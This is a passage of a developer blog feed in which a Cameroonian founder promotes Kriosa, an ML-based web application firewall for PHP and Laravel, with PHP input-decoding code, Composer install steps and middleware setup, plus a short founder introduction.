&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$maxPasses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$previous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Watch for behavioral signals response sizes significantly larger than normal for a given endpoint are worth investigating alongside other indicators.&lt;/p&gt;

&lt;p&gt;Understand the fundamental limit: manual pattern matching is a starting point, not a complete security strategy. It catches careless automated attacks. It struggles against careful targeted ones.&lt;/p&gt;

&lt;p&gt;And remember: the best security strategy is layered prevent vulnerabilities where possible, detect suspicious activity when prevention fails, and continuously improve based on what you learn.&lt;/p&gt;

&lt;p&gt;A Note on How This Article Happened&lt;/p&gt;

&lt;p&gt;This article exists because a developer read my previous article carefully enough to find a real gap in the code and said so publicly. That kind of technical engagement is rare and genuinely valuable.&lt;/p&gt;

&lt;p&gt;The best security knowledge comes from exactly this kind of exchange someone pushing on the detail, finding the weakness, and making the conversation better.&lt;/p&gt;

&lt;p&gt;If you find something wrong in this article, say so in the comments. That is how this gets better.&lt;/p&gt;

&lt;p&gt;Try Kriosa free: &lt;a href="https://dev.tourl"&gt;kriosa.com&lt;/a&gt;&lt;br&gt;
Install it: composer require kriosa-ai/kriosa-php&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;br&gt;
Sleep better we're awake.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Built an AI-Powered WAF for PHP/Laravel Apps in Africa — Here’s What It Catches</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Sat, 04 Jul 2026 20:09:27 +0000</pubDate>
      <link>https://dev.to/kriosa/built-an-ai-powered-waf-for-phplaravel-apps-in-africa-heres-what-it-catches-4fgf</link>
      <guid>https://dev.to/kriosa/built-an-ai-powered-waf-for-phplaravel-apps-in-africa-heres-what-it-catches-4fgf</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;/p&gt;

&lt;p&gt;A student developer from Cameroon built a security tool that explains exactly why it blocked a request. Here’s the story and how to install it in 30 seconds.&lt;/p&gt;

&lt;p&gt;Press enter or click to view image in full size&lt;br&gt;
As a PHP developer in Africa, you already know the problem: your apps get hit by automated bots, SQL injection attempts, and XSS attacks every single day — and most security tools built to stop them are either too expensive, too complex, or built by people who have never touched an African server in their life.&lt;/p&gt;

&lt;p&gt;I built Kriosa to fix that.&lt;/p&gt;

&lt;p&gt;What is Kriosa?&lt;/p&gt;

&lt;p&gt;Kriosa is an AI-powered Web Application Firewall for PHP and Laravel apps. It uses a hybrid Machine Learning engine — combining Random Forest and Neural Networks — to detect and block threats before they reach your application. But the part that makes it different from every other WAF is the Explainable AI dashboard.&lt;/p&gt;

&lt;p&gt;Most WAFs are a black box. They block a request and tell you nothing. Kriosa tells you exactly why it blocked it — which features of the request triggered the ML model, what the confidence score was, and what attack pattern it matched. As a developer, that means you are not just protected — you understand what happened.&lt;/p&gt;

&lt;p&gt;What it catches:&lt;/p&gt;

&lt;p&gt;SQL Injection attempts&lt;br&gt;
Cross-Site Scripting (XSS)&lt;br&gt;
Path Traversal attacks&lt;br&gt;
Malicious bot detection&lt;br&gt;
Rate limiting abuse&lt;br&gt;
And 25+ other attack vectors&lt;br&gt;
Install it in 30 seconds:&lt;br&gt;
For Laravel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;//Step&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="err"&gt;Add&lt;/span&gt; &lt;span class="err"&gt;to&lt;/span&gt; &lt;span class="err"&gt;your&lt;/span&gt; &lt;span class="err"&gt;.env&lt;/span&gt; &lt;span class="err"&gt;file&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_API_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_your_api_key_here&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;5&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_DEBUG&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;span class="py"&gt;KRIOSA_BADGE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 3 — Create config/kriosa.php&lt;/span&gt;
&lt;span class="c1"&gt;// config/kriosa.php&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'api_key'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'timeout'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_TIMEOUT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'debug'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_DEBUG'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 4 — Create the Middleware&lt;/span&gt;
&lt;span class="c1"&gt;// app/Http/Middleware/KriosaSecurity.php&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Closure&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;KriosaSecurity&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Closure&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.api_key'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Skip if no API key configured&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="s1"&gt;'timeout'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.timeout'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                &lt;span class="s1"&gt;'debug'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'kriosa.debug'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="p"&gt;]);&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access denied'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Fail open — don't block users if Kriosa is unreachable&lt;/span&gt;
            &lt;span class="nf"&gt;report&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Step 5 — Register the Middleware&lt;/span&gt;
&lt;span class="c1"&gt;// app/Http/Kernel.php&lt;/span&gt;

&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$middleware&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="c1"&gt;// ... existing middleware&lt;/span&gt;
    &lt;span class="nc"&gt;\App\Http\Middleware\KriosaSecurity&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// OR apply to specific routes only:&lt;/span&gt;

&lt;span class="c1"&gt;// routes/web.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'kriosa'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;DashboardController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then add the middleware to your app/Http/Middleware/KriosaMiddleware.php:&lt;/p&gt;

&lt;p&gt;For PHP&lt;/p&gt;

&lt;p&gt;Or Download and use the SDK&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//or download kriosa.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// Add this to your index.php or front controller&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="k"&gt;__DIR__&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/kriosa.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// for downloaded &lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// for composer install&lt;/span&gt;

&lt;span class="c1"&gt;//KTIOSA_API_KEY FROM YOUR .ENV FILE&lt;/span&gt;

&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Your application continues safely here...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. Your app is now protected by an AI layer that watches every incoming request.&lt;/p&gt;

&lt;p&gt;Why I built this&lt;/p&gt;

&lt;p&gt;I am a final-year computer science student at the University of Bamenda, Cameroon. I watched developers around me get their client sites hacked with no affordable way to understand what happened or prevent it from happening again. Enterprise WAFs like Cloudflare cost hundreds of dollars a month. Sucuri is built for a completely different context. Nothing existed for the PHP developer in Africa building real products for real clients on a real budget.&lt;/p&gt;

&lt;p&gt;So I built it myself a hybrid ML engine, a 25+ attack, and an XAI dashboard that makes security understandable, not just automated.&lt;/p&gt;

&lt;p&gt;It is free to start.&lt;/p&gt;

&lt;p&gt;The Starter tier is free. No credit card. No enterprise contract. Just install the SDK, connect your app, and open the dashboard.&lt;/p&gt;

&lt;p&gt;If you build PHP or Laravel apps and you have ever had a client site get hacked — or you are terrified of it happening — Kriosa is built specifically for you.&lt;/p&gt;

&lt;p&gt;Try it today: kriosa.com&lt;br&gt;
Install it: composer require kriosa-ai/kriosa-php&lt;br&gt;
Full docs: kriosa.com/documentation.php&lt;/p&gt;

&lt;p&gt;Built by a developer from Cameroon, for developers across Africa and beyond. If you have questions, drop them in the comments — I read everything.&lt;/p&gt;

</description>
      <category>technology</category>
      <category>programming</category>
      <category>laravel</category>
      <category>php</category>
    </item>
    <item>
      <title>Why I built a security tool for PHP developers in Africa</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Wed, 01 Jul 2026 09:01:58 +0000</pubDate>
      <link>https://dev.to/kriosa/why-i-built-a-security-tool-for-php-developers-in-africa-423b</link>
      <guid>https://dev.to/kriosa/why-i-built-a-security-tool-for-php-developers-in-africa-423b</guid>
      <description>&lt;p&gt;I'm Nchiminyi, a PHP/Laravel developer from Cameroon.&lt;br&gt;
A few months ago I watched a developer I know spend 3 days trying to figure out why his client's Laravel site got hacked. No tools. No logs that made sense. No affordable WAF built for his context.&lt;br&gt;
That bothered me enough to build something.&lt;br&gt;
I spent the last few months building a security middleware for PHP apps. The part I'm most proud of is not the threat detection — it's that it explains exactly why a request was blocked, not just that it was blocked. Most WAFs are a black box. This one isn't.&lt;br&gt;
Still early days. &lt;br&gt;
If you build PHP or Laravel apps, I'd love to know — what's your current security setup? Do you even have one?&lt;/p&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>security</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
